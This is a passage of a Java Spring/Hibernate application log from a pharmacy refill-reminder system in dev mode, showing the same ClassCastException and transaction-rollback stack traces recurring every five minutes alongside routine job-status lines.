org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 01:40:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 01:40:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 01:40:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 01:40:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 01:40:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 01:40:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 01:40:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 01:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 01:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 01:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 01:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 01:45:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 01:45:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 01:45:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 01:45:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 01:45:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 01:45:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 01:45:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 01:45:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 01:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 01:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 01:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 01:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 01:45:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 01:45:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 01:50:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 01:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 01:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 01:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 01:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 01:50:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 01:50:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 01:50:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 01:50:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 01:50:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 01:50:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 01:50:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 01:50:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 01:50:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 01:55:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 01:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 01:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 01:55:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 01:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 01:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 01:55:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 01:55:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 01:55:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 01:55:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 01:55:00 INFO NextRefillReminderJob:689 - Total Orders 0 